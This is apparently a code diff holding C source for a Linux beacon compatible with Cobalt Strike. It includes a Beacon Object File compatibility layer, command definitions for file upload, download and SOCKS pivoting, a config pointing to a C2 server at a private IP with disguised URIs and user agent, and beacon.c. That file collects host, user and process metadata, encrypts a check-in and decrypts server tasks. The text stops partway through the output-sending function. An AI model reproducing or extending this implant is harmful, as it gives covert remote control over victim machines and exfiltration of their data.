((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];
((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];
((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];
((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];
}
return outint;
}
char* beacon_compatibility_output = NULL;
int beacon_compatibility_size = 0;
int beacon_compatibility_offset = 0;
void BeaconDataParse(datap* parser, char* buffer, int size){
if (parser == NULL){
return;
}
parser->original = buffer;
parser->buffer = buffer;
parser->length = size-4;
parser->size = size-4;
parser->buffer += 4;
return;
}
int BeaconDataInt(datap* parser){
int32_t fourbyteint = 0;
if (parser->length < 4){
return 0;
}
memcpy(&fourbyteint, parser->buffer, 4);
parser->buffer += 4;
parser->length -= 4;
return (int)fourbyteint;
}
short BeaconDataShort(datap* parser){
int16_t retvalue = 0;
if (parser->length < 2){
return 0;
}
memcpy(&retvalue, parser->buffer, 2);
parser->buffer += 2;
parser->length -= 2;
return (short)retvalue;
}
int BeaconDataLength(datap* parser){
return parser->length;
}
char* BeaconDataExtract(datap* parser, int* size){
uint32_t length = 0;
char* outdata = NULL;
/*Length prefixed binary blob, going to assume uint32_t for this.*/
if (parser->length < 4){
return NULL;
}
memcpy(&length, parser->buffer, 4);
parser->buffer += 4;
outdata = parser->buffer;
if (outdata == NULL){
return NULL;
}
parser->length -=4;
parser->length -= length;
parser->buffer += length;
if (size != NULL && outdata != NULL){
*size = length;
}
return outdata;
}
/* format API */
void BeaconFormatAlloc(formatp* format, int maxsz){
if (format == NULL){
return;
}
format->original = calloc(maxsz, 1);
format->buffer = format->original;
format->length = 0;
format->size = maxsz;
return;
}
void BeaconFormatReset(formatp* format){
memset(format->original, 0, format->size);
format->buffer = format->original;
format->length = format->size;
return;
}
void BeaconFormatFree(formatp* format){
if (format == NULL){
return;
}
if (format->original){
free(format->original);
format->original = NULL;
}
format->buffer = NULL;
format->length = 0;
format->size = 0;
return;
}
void BeaconFormatAppend(formatp* format, char* text, int len){
memcpy(format->buffer, text, len);
format->buffer+= len;
format->length+= len;
return;
}
void BeaconFormatPrintf(formatp* format, char* fmt, ...){
/*Take format string, and sprintf it into here*/
va_list args;
int length = 0;
va_start (args, fmt);
length = vsnprintf(NULL, 0, fmt, args);
va_end(args);
if (format->length + length > format->size){
return;
}
va_start (args, fmt);
(void)vsnprintf(format->buffer, length, fmt, args);
va_end(args);
format->length += length;
format->buffer+= length;
return;
}
char* BeaconFormatToString(formatp* format, int* size){
*size = format->length;
return format->original;
}
void BeaconFormatInt(formatp* format, int value){
uint32_t indata = value;
uint32_t outdata = 0;
if (format->length + 4 > format->size){
return;
}
outdata = swap_endianess(indata);
memcpy(format->buffer, &outdata, 4);
format->length += 4;
format->buffer += 4;
return;
}
/* Main output functions */
void BeaconPrintf(int type, char* fmt, ...){
/* Change to maintain internal buffer, and return after done running. */
int length = 0;
char* tempptr = NULL;
va_list args;
#ifdef DEBUG
va_start (args, fmt);
vprintf(fmt, args);
va_end(args);
#endif
va_start (args, fmt);
length = vsnprintf(NULL, 0, fmt, args)+1;
va_end(args);
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size+length+1);
if (tempptr == NULL){
return;
}
beacon_compatibility_output = tempptr;
memset(beacon_compatibility_output+beacon_compatibility_offset, 0, length+1);
va_start (args, fmt);
length = vsnprintf(beacon_compatibility_output+beacon_compatibility_offset, length, fmt, args);
beacon_compatibility_size+=length;
beacon_compatibility_offset+=length;
va_end(args);
return;
}
void BeaconOutput(int type, char* data, int len){
char* tempptr = NULL;
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size+len+1);
beacon_compatibility_output = tempptr;
if (tempptr == NULL){
return;
}
memset(beacon_compatibility_output+beacon_compatibility_offset, 0, len+1);
memcpy(beacon_compatibility_output+beacon_compatibility_offset, data, len);
beacon_compatibility_size+=len;
beacon_compatibility_offset+=len;
return;
}
int BeaconIsAdmin(void){
/* Leaving this to be implemented by people needing it */
#ifdef DEBUG
printf("BeaconIsAdmin Called\n");
#endif
return 0;
}
#ifdef LIBRARY
__attribute__ ((visibility ("default")))
#endif
char* BeaconGetOutputData(int *outsize){
char* outdata = beacon_compatibility_output;
*outsize = beacon_compatibility_size;
beacon_compatibility_output = NULL;
beacon_compatibility_size = 0;
beacon_compatibility_offset = 0;
return outdata;
}
+41
View File
@@ -0,0 +1,41 @@
#ifndef BEACON_H
#define BEACON_H
#include <stdint.h>
#include <stddef.h>
// Beacon state
typedef struct {
char session_key[16]; // Raw session key (sent in metadata)
uint8_t aes_key[16]; // Derived AES key (SHA256 of session_key, first 16 bytes)
uint8_t hmac_key[16]; // Derived HMAC key (SHA256 of session_key, next 16 bytes)
uint8_t aes_iv[16]; // AES IV (fixed: "abcdefghijklmnop")
uint32_t agent_id; // Unique agent identifier
// Dual-counter system for C2 communication:
// The CS C2 protocol uses two different "counter" mechanisms for each direction of communication.
uint32_t last_server_time; // For server->client: Stores the last 'timestamp' received from the server. Used to validate incoming tasks.
uint32_t upload_counter; // For client->server: A simple incrementing counter for callbacks sent to the server.
int connected; // Connection status
char *pending_tasks; // Tasks from server
size_t tasks_len; // Length of tasks
char *output_buffer; // Queued output to send
size_t output_len; // Length of queued output
} beacon_state_t;
// Function declarations
int beacon_init(beacon_state_t *state);
int beacon_checkin(beacon_state_t *state);
int beacon_send_output(beacon_state_t *state, const char *output, size_t len);
void beacon_cleanup(beacon_state_t *state);
void beacon_sleep(void);
// Metadata generation - updated signature
uint8_t* beacon_generate_metadata(beacon_state_t *state, size_t *out_len);
// Task decryption
int beacon_decrypt_tasks(beacon_state_t *state, const uint8_t *ciphertext, size_t ciphertext_len,
uint8_t **plaintext_out, size_t *plaintext_len_out);
#endif // BEACON_H
+59
View File
@@ -0,0 +1,59 @@
#ifndef COMMANDS_H
#define COMMANDS_H
#include <stdint.h>
#include <stddef.h>
// Command types
#define COMMAND_DIE 3
#define COMMAND_SLEEP 4
#define COMMAND_CD 5
#define COMMAND_UPLOAD 10
#define COMMAND_DOWNLOAD 11
#define COMMAND_CONNECT 14
#define COMMAND_SEND 15
#define COMMAND_CLOSE 16
#define COMMAND_LISTEN 17
#define COMMAND_CANCEL_DOWNLOAD 19
#define COMMAND_PWD 39
#define COMMAND_FILE_LIST 53
#define COMMAND_UPLOAD_CONTINUE 67
#define COMMAND_EXECUTE_JOB 78
#define COMMAND_INLINE_EXECUTE_OBJECT 100
// Callback types
#define CALLBACK_OUTPUT 0x00
#define CALLBACK_FILE 0x02
#define CALLBACK_CLOSE 0x04
#define CALLBACK_READ 0x05
#define CALLBACK_CONNECT 0x06
#define CALLBACK_FILE_WRITE 0x08
#define CALLBACK_FILE_CLOSE 0x09
#define CALLBACK_PWD 0x13
#define CALLBACK_DEAD 0x1a
#define CALLBACK_ERROR 0x1f
// Execute commands received from server
// Returns the callback type to use when sending output back to server
int commands_execute(const uint8_t *task_data, size_t task_len, uint8_t **output, size_t *output_len, uint32_t *callback_type);
// Parse task buffer
int commands_parse_tasks(const uint8_t *task_buffer, size_t task_len);
void send_output_to_server(const uint8_t *output, size_t output_len, uint32_t callback_type);
#endif // COMMANDS_H
+30
View File
@@ -0,0 +1,30 @@
#ifndef CONFIG_H
#define CONFIG_H
// Cobalt Strike Team Server Configuration
#define C2_SERVER "192.168.108.130"
#define C2_PORT 80
#define C2_USE_HTTPS 0
// HTTP URIs
#define HTTP_GET_URI "/en_US/all.js"
#define HTTP_POST_URI "/submit.php"
// User Agent
#define USER_AGENT "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
// Common HTTP headers
#define HTTP_ACCEPT_HEADER "Accept: */*"
#define HTTP_CONNECTION_HEADER "Connection: Keep-Alive"
#define HTTP_CACHE_CONTROL_HEADER "Cache-Control: no-cache"
// Beacon Configuration
#define SLEEP_TIME 60000 // 60 seconds in milliseconds
#define JITTER 0 // 0% jitter
#define MAX_GET_SIZE 1048576 // 1MB
// Declared as extern - defined in beacon.c
extern unsigned char BEACON_PUBLIC_KEY[256];
extern unsigned int BEACON_PUBLIC_KEY_LEN;
#endif // CONFIG_H
+27
View File
@@ -0,0 +1,27 @@
#ifndef CRYPTO_H
#define CRYPTO_H
#include <stdint.h>
#include <stddef.h>
// RSA encryption
int crypto_rsa_encrypt(const uint8_t *plaintext, size_t plaintext_len,
uint8_t *ciphertext, size_t *ciphertext_len);
// AES encryption/decryption
int crypto_aes_encrypt(const uint8_t *key, const uint8_t *iv,
const uint8_t *plaintext, size_t plaintext_len,
uint8_t *ciphertext, size_t *ciphertext_len);
int crypto_aes_decrypt(const uint8_t *key, const uint8_t *iv,
const uint8_t *ciphertext, size_t ciphertext_len,
uint8_t *plaintext, size_t *plaintext_len);
// Base64 encoding (for Cookie header)
char* base64_encode(const uint8_t *data, size_t len);
uint8_t* base64_decode(const char *data, size_t *out_len);
// Random data generation
void crypto_random_bytes(uint8_t *buffer, size_t len);
#endif // CRYPTO_H
+55
View File
@@ -0,0 +1,55 @@
#ifndef DEBUG_H
#define DEBUG_H
#include <stdio.h>
// Debug printing macros
// Compile with -DDEBUG to enable debug output
// Example: gcc -DDEBUG myfile.c -o myprogram
#ifdef DEBUG
// Debug print with automatic [DEBUG] prefix
#define DEBUG_PRINT(fmt, ...) printf("[DEBUG] " fmt, ##__VA_ARGS__)
// Debug print for hex dumps
#define DEBUG_HEX(label, data, len) do { \
printf("[DEBUG] %s: ", label); \
for(size_t _i = 0; _i < (len); _i++) { \
printf("%02x", ((uint8_t*)(data))[_i]); \
if ((_i + 1) % 32 == 0 && (_i + 1) < (len)) { \
printf("\n[DEBUG] "); \
} \
} \
printf("\n"); \
} while(0)
// Debug print for hex dumps with spaces
#define DEBUG_HEX_SPACED(label, data, len) do { \
printf("[DEBUG] %s: ", label); \
for(size_t _i = 0; _i < (len); _i++) { \
printf("%02x ", ((uint8_t*)(data))[_i]); \
if ((_i + 1) % 16 == 0 && (_i + 1) < (len)) { \
printf("\n[DEBUG] "); \
} \
} \
printf("\n"); \
} while(0)
// Info messages (always printed)
#define INFO_PRINT(fmt, ...) printf("[*] " fmt, ##__VA_ARGS__)
// Error messages (always printed)
#define ERROR_PRINT(fmt, ...) fprintf(stderr, "[!] " fmt, ##__VA_ARGS__)
#else
// No-op when DEBUG is not defined
#define DEBUG_PRINT(fmt, ...)
#define DEBUG_HEX(label, data, len)
#define DEBUG_HEX_SPACED(label, data, len)
#define INFO_PRINT(fmt, ...)
#define ERROR_PRINT(fmt, ...)
#endif
#endif // DEBUG_H
+11
View File
@@ -0,0 +1,11 @@
#ifndef FILES_H_
#define FILES_H_
#include <stdint.h>
#include <stddef.h>
void command_download(const uint8_t *data, size_t data_len);
void command_download_stop(const uint8_t *data, size_t data_len);
void download_poll();
#endif
+22
View File
@@ -0,0 +1,22 @@
#ifndef HTTP_H
#define HTTP_H
#include <stddef.h>
#include <stdint.h>
// HTTP request/response
typedef struct {
char *data;
size_t size;
} http_response_t;
// Send HTTP GET request (for initial metadata)
int http_get(const char *uri, const uint8_t *metadata, size_t metadata_len, http_response_t *response);
// Send HTTP POST request (for task output)
int http_post(const char *uri, const uint8_t *data, size_t data_len, const char *session_id, http_response_t *response);
// Free HTTP response
void http_response_free(http_response_t *response);
#endif // HTTP_H
+42
View File
@@ -0,0 +1,42 @@
#ifndef PIVOT_H
#define PIVOT_H
#include <stdint.h>
#include <sys/socket.h>
#define SOCKET_READ_MAX 1048576
#define STATE_DEAD 0
#define STATE_READ 1
#define STATE_CONNECT 2
#define LISTEN_NOTREALLY 0
#define LISTEN_ONEOFF 1
// Callback function type for sending data back to C2
typedef void (*pivot_callback)(const char * buffer, int length, int type);
typedef struct socket_entry {
uint32_t id;
int state;
int socket;
uint32_t ltype;
uint16_t lport;
uint64_t start_time;
uint32_t timeout;
uint64_t linger_time;
struct socket_entry * next;
} socket_entry_t;
// Public Functions
void pivot_init();
void pivot_poll(pivot_callback callback);
void pivot_cleanup();
// Command Handlers
void command_listen_socks(const uint8_t * buffer, int length, pivot_callback callback);
void command_connect_socks(const uint8_t * buffer, int length, pivot_callback callback);
void command_send_socks(const uint8_t * buffer, int length);
void command_close_socks(const uint8_t * buffer, int length);
#endif // PIVOT_H
+662
View File
@@ -0,0 +1,662 @@
// (keeping imports the same)
#include "beacon.h"
#include "crypto.h"
#include "http.h"
#include "commands.h"
#include "config.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <time.h>
#include <arpa/inet.h>
#include <openssl/sha.h>
#include <openssl/hmac.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <ifaddrs.h>
#include "debug.h"
// Global sleep configuration (extern from main.c)
extern int g_sleep_time_ms;
extern int g_jitter_percent;
// Define the RSA public key here (declared as extern in config.h)
unsigned char BEACON_PUBLIC_KEY[256] = "\x30";
unsigned int BEACON_PUBLIC_KEY_LEN = 256;
// Metadata flags
#define METADATA_FLAG_AGENT_X64 2
#define METADATA_FLAG_TARGET_X64 4
#define METADATA_FLAG_ADMIN 8
#define HMAC_SIZE 16
// Get local IP address (non-loopback interface)
uint32_t beacon_get_local_ip()
{
struct ifaddrs *ifaddr, *ifa;
uint32_t ip = 0;
if (getifaddrs(&ifaddr) == -1) {
return 0x0100007f; // Fallback to 127.0.0.1 in LITTLE endian
}
for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
if (ifa->ifa_addr == NULL)
continue;
// Check for IPv4 address
if (ifa->ifa_addr->sa_family == AF_INET) {
struct sockaddr_in *addr = (struct sockaddr_in *)ifa->ifa_addr;
uint32_t test_ip = addr->sin_addr.s_addr;
// Skip loopback (127.x.x.x)
uint8_t first_octet = test_ip & 0xFF;
if (first_octet == 127)
continue;
// Skip link-local (169.254.x.x)
if (first_octet == 169 && ((test_ip >> 8) & 0xFF) == 254)
continue;
// Found a good IP - already in correct byte order (little endian)
ip = test_ip;
break;
}
}
freeifaddrs(ifaddr);
// If no IP found, use 127.0.0.1 in little endian
if (ip == 0) {
ip = 0x0100007f;
}
return ip;
}
// Generate random agent ID
uint32_t rand32(void) {
return ((uint32_t)rand() << 16) ^ rand();
}
int beacon_init(beacon_state_t *state) {
memset(state, 0, sizeof(beacon_state_t));
// Generate random 16-byte session key (raw key, will be hashed to derive AES/HMAC keys)
crypto_random_bytes((uint8_t*)state->session_key, 16);
// Fixed IV as per Cobalt Strike: "abcdefghijklmnop"
memcpy(state->aes_iv, "abcdefghijklmnop", 16);
// Derive AES key and HMAC key from session key using SHA256
unsigned char key_material[32]; // SHA256 produces 32 bytes
SHA256((unsigned char*)state->session_key, 16, key_material);
// First 16 bytes = AES key, next 16 bytes = HMAC key
memcpy(state->aes_key, key_material, 16);
memcpy(state->hmac_key, key_material + 16, 16);
srand(time(NULL) ^ getpid());
int32_t id = rand32() & 0x7FFFFFFF & ~1; // Unset the Least Significant Bit to be 0 so it's marked as a Windows Beacon and not SSH
state->agent_id = id;
state->connected = 0;
state->pending_tasks = NULL;
state->tasks_len = 0;
state->last_server_time = 0;
state->upload_counter = 0;
state->output_buffer = NULL;
state->output_len = 0;
return 0;
}
uint8_t* beacon_generate_metadata(beacon_state_t *state, size_t *out_len)
{
// View the metadata of the beacon: python3 cs-decrypt-metadata.py -f .cobaltstrike.beacon_keys "<ENCRYPTED METADATA COOKIE>"
// Metadata format:
// [4 bytes] Magic number (0x0000BEEF) - BIG ENDIAN
// [4 bytes] Length of metadata (excluding 8-byte header) - BIG ENDIAN
// [16 bytes] Session ID/AES key (raw bytes, no conversion)
// [2 bytes] ANSI charset (1252) - LITTLE ENDIAN
// [2 bytes] OEM charset (437) - LITTLE ENDIAN
// [4 bytes] Agent ID - BIG ENDIAN
// [4 bytes] Process ID - BIG ENDIAN
// [2 bytes] Port (0 for non-SSH) - BIG ENDIAN
// [1 byte] Flags
// [1 byte] Major OS version
// [1 byte] Minor OS version
// [2 bytes] Build number - BIG ENDIAN
// [4 bytes] GetProcAddress HIGH (Can be set to 0) - BIG ENDIAN
// [4 bytes] GetModuleHandleA LOW (Can be set to 0) - BIG ENDIAN
// [4 bytes] GetProcAddress LOW (Can be set to 0) - BIG ENDIAN
// [4 bytes] Local IP address - LITTLE ENDIAN (raw from sockaddr)
// [variable] Tab-delimited: computer\tuser\tprocessname (max 58 bytes)
uint8_t *metadata = malloc(256);
if (!metadata) return NULL;
size_t offset = 0;
// Reserve space for magic number and length (will fill in later)
offset = 8;
// Session key (16 bytes) - raw bytes, no byte order conversion
memcpy(metadata + offset, state->session_key, 16);
offset += 16;
// ANSI charset (1252 = 0x04E4) - LITTLE ENDIAN
metadata[offset++] = 0xE4;
metadata[offset++] = 0x04;
// OEM charset (437 = 0x01B5) - LITTLE ENDIAN
metadata[offset++] = 0xB5;
metadata[offset++] = 0x01;
// Agent ID (4 bytes) - BIG ENDIAN
uint32_t agent_id_be = htonl(state->agent_id);
memcpy(metadata + offset, &agent_id_be, 4);
offset += 4;
// Process ID (4 bytes) - BIG ENDIAN
uint32_t pid = getpid();
uint32_t pid_be = htonl(pid);
memcpy(metadata + offset, &pid_be, 4);
offset += 4;
// Port (2 bytes) - BIG ENDIAN
uint16_t port = htons(0);
memcpy(metadata + offset, &port, 2);
offset += 2;
// Flags (1 byte) - Don't set METADATA_FLAG_NOTHING (value 1) for 64-bit beacons
uint8_t flags = 0;
if (sizeof(void*) == 8) {
flags |= METADATA_FLAG_AGENT_X64;
flags |= METADATA_FLAG_TARGET_X64;
}
// Check if root/admin
if (geteuid() == 0) {
flags |= METADATA_FLAG_ADMIN;
}
metadata[offset++] = flags;
// OS Version info
struct utsname uts;
uname(&uts);
/*
struct utsname {
char sysname[]; // Operating system name (e.g., "Linux")
char nodename[]; // Hostname
char release[]; // OS release (e.g., "5.15.0")
char version[]; // OS version
char machine[]; // Hardware identifier (e.g., "x86_64")
};
*/
// Parse Linux kernel version (e.g., "5.15.0")
int major = 0, minor = 0, build = 0;
sscanf(uts.release, "%d.%d.%d", &major, &minor, &build);
metadata[offset++] = (uint8_t)major; // Major version (1 byte) (var1)
metadata[offset++] = (uint8_t)minor; // Minor version (1 byte) (var2)
uint16_t build_num = htons((uint16_t)9200); // Build number (2 bytes) - BIG ENDIAN (var3)
memcpy(metadata + offset, &build_num, 2);
offset += 2;
uint16_t var4 = htonl((uint16_t)0x7ffc);
memcpy(metadata + offset, &var4, 4); // var4
offset += 4;
uint16_t var5 = htons((uint16_t)0xfae2f3f0);
memcpy(metadata + offset, &var5, 4); // var5
offset += 4;
uint16_t var6 = htons((uint16_t)0xfae2b200);
memcpy(metadata + offset, &var6, 4); // var6
offset += 4;
//(VAR 7)
// Local IP address (4 bytes) - BIG ENDIAN
// sin_addr.s_addr is in network byte order (big endian on wire, stored as uint32 in host order)
// We need to store it as BIG endian in metadata
uint32_t local_ip = beacon_get_local_ip();
uint32_t local_ip_be = htonl(local_ip);
memcpy(metadata + offset, &local_ip_be, 4);
offset += 4;
// Tab-delimited metadata string: computer\tuser\tprocessname
// Maximum 58 bytes as per Cobalt Strike source
char info_str[128];
const char *user = getenv("USER");
if (!user) user = "unknown";
char procname[32] = { 0 };
FILE* fileptr = fopen("/proc/self/status", "r");
if (fileptr == NULL)
{
snprintf(procname, sizeof(procname), "linuxbeacon");
}
else
{
char tmp[40];
if (fgets(tmp, sizeof(tmp), fileptr))
{
sscanf(tmp, "Name:%31s", procname);
}
fclose(fileptr);
}
int info_len = snprintf(info_str, sizeof(info_str), "%s\t%s\t%s", uts.nodename, user, procname);
// Truncate to 58 bytes if necessary
if (info_len > 58) {
info_len = 58;
}
memcpy(metadata + offset, info_str, info_len);
offset += info_len;
// Now fill in the header (magic number and length)
// Magic number (0x0000BEEF) in network byte order (big-endian)
uint32_t magic = htonl(0x0000BEEF);
memcpy(metadata, &magic, 4);
// Length of metadata (excluding the 8-byte header) in network byte order
uint32_t data_len = htonl(offset - 8);
memcpy(metadata + 4, &data_len, 4);
*out_len = offset;
return metadata;
}
int beacon_decrypt_tasks(beacon_state_t *state, const uint8_t *ciphertext, size_t ciphertext_len, uint8_t **plaintext_out, size_t *plaintext_len_out)
{
// Decrypt tasks from server
// [counter:4][length:4][data][HMAC:16] - all encrypted except HMAC
// Minimum size check
if (ciphertext_len <= HMAC_SIZE)
{
DEBUG_PRINT("Ciphertext too small: %zu bytes\n", ciphertext_len);
return -1;
}
// Must be multiple of 16 (AES block size)
if ((ciphertext_len % 16) != 0)
{
DEBUG_PRINT("Ciphertext not aligned to 16 bytes\n");
return -1;
}
// Extract and verify HMAC
size_t encrypted_len = ciphertext_len - HMAC_SIZE;
const uint8_t *hmac_received = ciphertext + encrypted_len;
unsigned char hmac_calculated[EVP_MAX_MD_SIZE];
unsigned int hmac_len = 0;
DEBUG_HEX("HMAC Key", state->hmac_key, 16);
HMAC(EVP_sha256(), state->hmac_key, 16, ciphertext, encrypted_len, hmac_calculated, &hmac_len);
DEBUG_HEX("HMAC received", hmac_received, HMAC_SIZE);
DEBUG_HEX("HMAC calculated", hmac_calculated, HMAC_SIZE);
if (memcmp(hmac_received, hmac_calculated, HMAC_SIZE) != 0)
{
DEBUG_PRINT("HMAC verification failed\n");
return -1;
}
DEBUG_PRINT("HMAC verification passed!\n");
DEBUG_PRINT("About to decrypt %zu bytes\n", encrypted_len);
DEBUG_HEX("AES Key", state->aes_key, 16);
DEBUG_HEX("AES IV", state->aes_iv, 16);
DEBUG_HEX("Ciphertext (first 32 bytes)", ciphertext, 32);
// Make a copy of IV for decryption (EVP functions may modify it)
uint8_t iv_copy[16];
memcpy(iv_copy, state->aes_iv, 16);
// Decrypt the data (counter + length + actual data)
uint8_t *decrypted = malloc(encrypted_len);
size_t decrypted_len = encrypted_len;
if (crypto_aes_decrypt(state->aes_key, iv_copy, ciphertext, encrypted_len, decrypted, &decrypted_len) != 0)
{
DEBUG_PRINT("AES decryption failed\n");
free(decrypted);
return -1;
}
DEBUG_PRINT("Decrypted %zu bytes\n", decrypted_len);
DEBUG_HEX("Decrypted bytes (first 32 bytes)", decrypted, 32);
// Parse counter and length
if (decrypted_len < 8)
{
DEBUG_PRINT("Decrypted data too small\n");
free(decrypted);
return -1;
}
uint32_t counter = ntohl(*((uint32_t*)decrypted));
uint32_t data_len = ntohl(*((uint32_t*)(decrypted + 4)));
DEBUG_PRINT("Counter: %u, Data length: %u\n", counter, data_len);
// The "counter" from the server is actually a Unix timestamp. The original Windows beacon
// uses a large tolerance (1 hour) to prevent replay errors caused by clock drift or
// asynchronous C2 channels (like DNS) where message order isn't guaranteed.
// A check is added to ensure the received timestamp isn't unreasonably old.
// We only perform this check if last_server_time has been initialized (is > 0).
if (state->last_server_time > 0 && (counter + 3600) < state->last_server_time)
{
DEBUG_PRINT("Counter replay detected (current: %u, last: %u, tolerance: 3600)\n", counter, state->last_server_time);
free(decrypted);
return -1;
}
// Update the last seen server time with the current timestamp.
state->last_server_time = counter;
// Verify data length
if (data_len == 0 || data_len > (decrypted_len - 8))
{
DEBUG_PRINT("Invalid data length\n");
free(decrypted);
return -1;
}
// Extract the actual task data
*plaintext_out = malloc(data_len);
memcpy(*plaintext_out, decrypted + 8, data_len);
*plaintext_len_out = data_len;
free(decrypted);
return 0;
}
int beacon_checkin(beacon_state_t *state)
{
/* GET Response format:
ENCRYPTED PORTION:
[4 bytes] Counter
[4 bytes] Length of entire task data
[N bytes] Full Task Data
TASK 1
[4 bytes] Command ID
[4 bytes] Length of command-specific data
[N bytes] Command specific data
TASK 2
[4 bytes] Command ID (COMMAND_SLEEP)
[4 bytes] Length of command-specific data (8)
[8 bytes] Command specific data (5000ms - 4 bytes, 10% jitter - 4 bytes)
Task 3
[4 bytes] Command ID (COMMAND_PWD)
[4 bytes] Length of command-specific data (0)
[N bytes] Command specific data (0)
[16 bytes] HMAC (NOT ENCRYPTED)
*/
// Generate metadata
size_t metadata_len;
uint8_t *metadata = beacon_generate_metadata(state, &metadata_len);
if (!metadata) {
return -1;
}
//DEBUG_HEX("Session key (raw)", state->session_key, 16);
//DEBUG_HEX("AES key (derived)", state->aes_key, 16);
// RSA encrypt the metadata
uint8_t encrypted_metadata[256];
size_t encrypted_len = 256;
if (crypto_rsa_encrypt(metadata, metadata_len, encrypted_metadata, &encrypted_len) != 0)
{
ERROR_PRINT("Failed to RSA encrypt metadata\n");
free(metadata);
return -1;
}
//DEBUG_PRINT("RSA encrypted metadata size: %zu bytes\n", encrypted_len);
// Send encrypted metadata via HTTP GET
http_response_t response;
if (http_get(HTTP_GET_URI, encrypted_metadata, encrypted_len, &response) != 0)
{
free(metadata);
return -1;
}
free(metadata);
// If server sent tasks back, decrypt and process them
if (response.data && response.size > 0)
{
DEBUG_PRINT("Received response: %zu bytes\n", response.size);
uint8_t* task_data = NULL;
size_t task_len = 0;
if (beacon_decrypt_tasks(state, (uint8_t*)response.data, response.size, &task_data, &task_len) == 0)
{
DEBUG_PRINT("Decrypted task: %zu bytes\n", task_len);
// Parse and execute commands, sends JUST the full task data
commands_parse_tasks(task_data, task_len);
free(task_data);
}
else
{
DEBUG_PRINT("Failed to decrypt tasks\n");
}
}
else
{
//DEBUG_PRINT("No response data from server\n");
}
http_response_free(&response);
state->connected = 1;
return 0;
}
int beacon_send_output(beacon_state_t *state, const char *output, size_t len)
{
// This function sends task output (callbacks) to the C2 server.
// The final packet format sent via POST is:
// [Total Length: 4 bytes] [ENCRYPTED DATA] [HMAC: 16 bytes]
// The structure of the [ENCRYPTED DATA] is:
// [Counter: 4 bytes] [Data Size: 4 bytes] [Type: 4 bytes] [Task Data: N bytes]
//
// - The Total Length is unencrypted (big-endian) and equals the size of [ENCRYPTED DATA] + [HMAC].
// - The HMAC is calculated over the [ENCRYPTED DATA] portion.
// For this client-to-server direction, the 'Counter' is a simple incrementing integer.
state->upload_counter++;
uint32_t counter_be = htonl(state->upload_counter);
uint32_t length_be = htonl((uint32_t)len); // This is the total packet length (type + data)
// Parse the callback type from the output data
// Output format from commands.c: [4 bytes: callback type][actual data]
uint32_t callback_type = 0;
const char *actual_data = output;
size_t actual_data_len = len;
if (len >= 4) {
callback_type = ntohl(*(uint32_t*)output);
actual_data = output + 4;
actual_data_len = len - 4;
}
uint32_t type_be = htonl(callback_type);
size_t plaintext_size = 12 + actual_data_len; // counter(4) + length(4) + type(4) + data
uint8_t *plaintext = malloc(plaintext_size);
if (!plaintext) {
return -1;
}
memcpy(plaintext, &counter_be, 4);
memcpy(plaintext + 4, &length_be, 4);
memcpy(plaintext + 8, &type_be, 4);
memcpy(plaintext + 12, actual_data, actual_data_len);
#ifdef DEBUG
printf("Sending output: counter=%u, total_length=%zu, type=%u\n", state->upload_counter, len, callback_type);
printf("===== PLAINTEXT BREAKDOWN (%zu bytes) =====\n", plaintext_size);
printf("[Counter] = %02x %02x %02x %02x (value: %u)\n", plaintext[0], plaintext[1], plaintext[2], plaintext[3], state->upload_counter);
printf("[Data Size] = %02x %02x %02x %02x (value: %zu bytes)\n", plaintext[4], plaintext[5], plaintext[6], plaintext[7], len);
printf("[Type] = %02x %02x %02x %02x (value: %u)\n", plaintext[8], plaintext[9], plaintext[10], plaintext[11], callback_type);
// Print the actual data content
if (actual_data_len > 0)
{
printf("[Task Data] = ");
for(size_t i = 0; i < actual_data_len; i++)
{
printf("%02x ", plaintext[12 + i]);
if ((i + 1) % 16 == 0 && (i + 1) < actual_data_len)
{
printf("\n ");
}
}
printf("\n");
printf("[Task ASCII] = \"");
for(size_t i = 0; i < actual_data_len; i++)
{
char c = plaintext[12 + i];
if (c >= 32 && c <= 126)
{
printf("%c", c);
}
else
{
printf(".");
}
}
printf("\"\n");
}
printf("==========================================\n");
printf("\n");
#endif
// Make a copy of IV for encryption (EVP functions may modify it)
uint8_t iv_copy[16];
memcpy(iv_copy, state->aes_iv, 16);
// Encrypt with AES
uint8_t *encrypted = malloc(plaintext_size + 16); // Extra space for padding
size_t encrypted_len = plaintext_size + 16;
if (crypto_aes_encrypt(state->aes_key, iv_copy, plaintext, plaintext_size, encrypted, &encrypted_len) != 0)
{
free(plaintext);
free(encrypted);
return -1;
}
free(plaintext);
DEBUG_PRINT("Encrypted %zu bytes\n", encrypted_len);
DEBUG_HEX("Encrypted data (first 32 bytes)", encrypted, 32);
// Compute HMAC over encrypted data
unsigned char hmac[EVP_MAX_MD_SIZE];
unsigned int hmac_len = 0;
HMAC(EVP_sha256(), state->hmac_key, 16, encrypted, encrypted_len, hmac, &hmac_len);
DEBUG_HEX("HMAC (first 16 bytes)", hmac, 16);
// Build final packet: [Total Length - UNENCRYPTED][encrypted data][HMAC]
// Total length = total packet size minus the 4-byte length field itself
// So: encrypted_len + HMAC (16) = everything except the length field
uint32_t total_length_be = htonl((uint32_t)(encrypted_len + 16));
size_t total_len = 4 + encrypted_len + 16; // length(4) + encrypted + HMAC(16)
uint8_t *packet = malloc(total_len);
if (!packet) {
free(encrypted);
return -1;
}
memcpy(packet, &total_length_be, 4); // Unencrypted length (first 4 bytes)
memcpy(packet + 4, encrypted, encrypted_len); // Encrypted data
memcpy(packet + 4 + encrypted_len, hmac, 16); // HMAC
free(encrypted);
#ifdef DEBUG
printf("===== FINAL PACKET STRUCTURE =====\n");
printf("[Total Length] = %02x %02x %02x %02x (value: %u bytes, UNENCRYPTED)\n",
packet[0], packet[1], packet[2], packet[3], (unsigned int)(encrypted_len + 16));
printf("[Encrypted Data] = %zu bytes\n", encrypted_len);
printf("[HMAC] = 16 bytes\n");
printf("[Total Packet] = %zu bytes (length field + encrypted + HMAC)\n", total_len);
#endif
DEBUG_HEX("Complete packet", packet, total_len);
// Send via HTTP POST
http_response_t response;
char session_id[33];
